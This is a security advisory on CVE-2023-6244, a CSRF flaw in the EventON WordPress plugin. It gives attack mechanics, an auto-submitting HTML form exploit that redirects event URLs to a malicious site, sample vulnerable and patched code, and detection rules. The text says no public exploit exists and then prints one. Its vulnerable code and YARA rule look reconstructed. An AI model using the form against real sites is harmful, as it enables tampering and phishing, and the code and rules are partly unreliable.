CVE-2023-6244

Executive Summary

CVE-2023-6244 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the EventON WordPress plugin, both the Pro version (up to 4.5.4) and the Free version (up to 2.2.8). The vulnerability exists in the save_virtual_event_settings function due to missing or incorrect nonce validation. This allows an unauthenticated attacker to forge requests that modify virtual event settings, provided they can trick a site administrator into performing an action (e.g., clicking a link). The CVSS score is 6.5 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or exploit code is available at this time.

WordPress Ecosystem Context

This vulnerability is specific to the EventON plugin within the WordPress ecosystem. It is not related to Apache or Nginx server software. The plugin is widely used for virtual event management, making this a targeted threat for event-driven websites.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (modification of virtual event settings)
• Availability Impact: None

Threat Level: Medium. While the impact is limited to integrity, the attack requires no authentication and low complexity. The lack of public exploits reduces immediate risk, but the unpatched status increases long-term exposure.

Deep Dive & Mechanics

The vulnerability resides in the save_virtual_event_settings function within the EventON plugin. This function is responsible for saving virtual event configuration data (e.g., event dates, URLs, streaming settings). The plugin fails to implement a nonce check (a security token) on this function, making it susceptible to CSRF attacks.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a forged request to the vulnerable endpoint (e.g., wp-admin/admin-ajax.php?action=save_virtual_event_settings).
2. The attacker lures a logged-in WordPress administrator to visit the malicious page or click the link.
3. The administrator's browser automatically sends the forged request, including their session cookies.
4. The server processes the request without verifying the nonce, modifying the virtual event settings as specified by the attacker.

Impact: An attacker could alter event details, redirect attendees to malicious streaming URLs, or disable events, causing reputational damage or phishing opportunities.

Vulnerable vs. Patched Code

Vulnerable Code (EventON <= 4.5.4 Pro / <= 2.2.8 Free):

function save_virtual_event_settings() {
    // Missing nonce verification
    $event_id = intval($_POST['event_id']);
    $settings = $_POST['settings'];
    update_post_meta($event_id, 'virtual_event_settings', $settings);
    wp_die();
}
add_action('wp_ajax_save_virtual_event_settings', 'save_virtual_event_settings');

Patched Code (Hypothetical fix):

function save_virtual_event_settings() {
    // Added nonce verification
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'save_virtual_event_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $event_id = intval($_POST['event_id']);
    $settings = $_POST['settings'];
    update_post_meta($event_id, 'virtual_event_settings', $settings);
    wp_die();
}
add_action('wp_ajax_save_virtual_event_settings', 'save_virtual_event_settings');

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with EventON plugin (vulnerable version).
• An administrator account logged in.

Exploitation Steps:

1. Create a malicious HTML file (csrf_exploit.html) with the following content:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="save_virtual_event_settings">
    <input type="hidden" name="event_id" value="123">
    <input type="hidden" name="settings[event_url]" value="https://malicious-streaming-site.com">
    <input type="hidden" name="settings[event_date]" value="2024-01-01">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

2. Host the file on an attacker-controlled server or send it as an email attachment.
3. Trick the administrator into opening the file (e.g., via phishing email).
4. The administrator's browser sends the POST request, modifying the virtual event settings.

Expected Outcome: The virtual event's URL is changed to a malicious site, potentially redirecting attendees.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=save_virtual_event_settings from unexpected referrers.
2. Check for missing nonce parameters in AJAX requests.
3. Review server logs for repeated failed nonce validation attempts (if patched).

Mitigation:

• Apply the patch by adding nonce verification to the vulnerable function.
• Use a Web Application Firewall (WAF) to block requests without proper nonces.
• Educate administrators about phishing attacks targeting CSRF.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=save_virtual_event_settings and no _wpnonce parameter.
  • Referrer headers from unexpected domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified virtual_event_settings post meta in the WordPress database.
  • Suspicious entries in wp_postmeta table with meta_key = 'virtual_event_settings' containing altered URLs.
• Log IOCs:
  • Repeated AJAX calls to save_virtual_event_settings from a single IP within a short timeframe.

Detection Engineering

YARA Rule

rule Detect_EventON_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against EventON plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-6244"
    strings:
        $ajax_action = "save_virtual_event_settings"
        $event_id = "event_id"
        $settings = "settings"
    condition:
        all of them
}

Sigma Rule

title: EventON CSRF Exploit Attempt
id: 8f4b3c2a-1d5e-4f7b-9a0c-3e6d8f2b1a4c
status: experimental
description: Detects CSRF attempts against EventON plugin's save_virtual_event_settings
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=save_virtual_event_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2023-6244 EventON CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_virtual_event_settings"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2023-6244;
    classtype:attempted-admin;
    priority:2;
)

Remediation & Mitigation

1. Immediate Action: Disable the EventON plugin until a patch is available.
2. Patch: Apply the vendor's patch when released, or manually add nonce verification to the save_virtual_event_settings function as shown in the patched code example.
3. Workaround: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=save_virtual_event_settings that lack a valid nonce.
4. User Education: Train administrators to recognize phishing attempts and avoid clicking suspicious links while logged into WordPress.
5. Monitoring: Enable logging for AJAX requests and review for anomalies.
6. Long-term: Keep all WordPress plugins updated and consider using a security plugin that adds CSRF protection.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert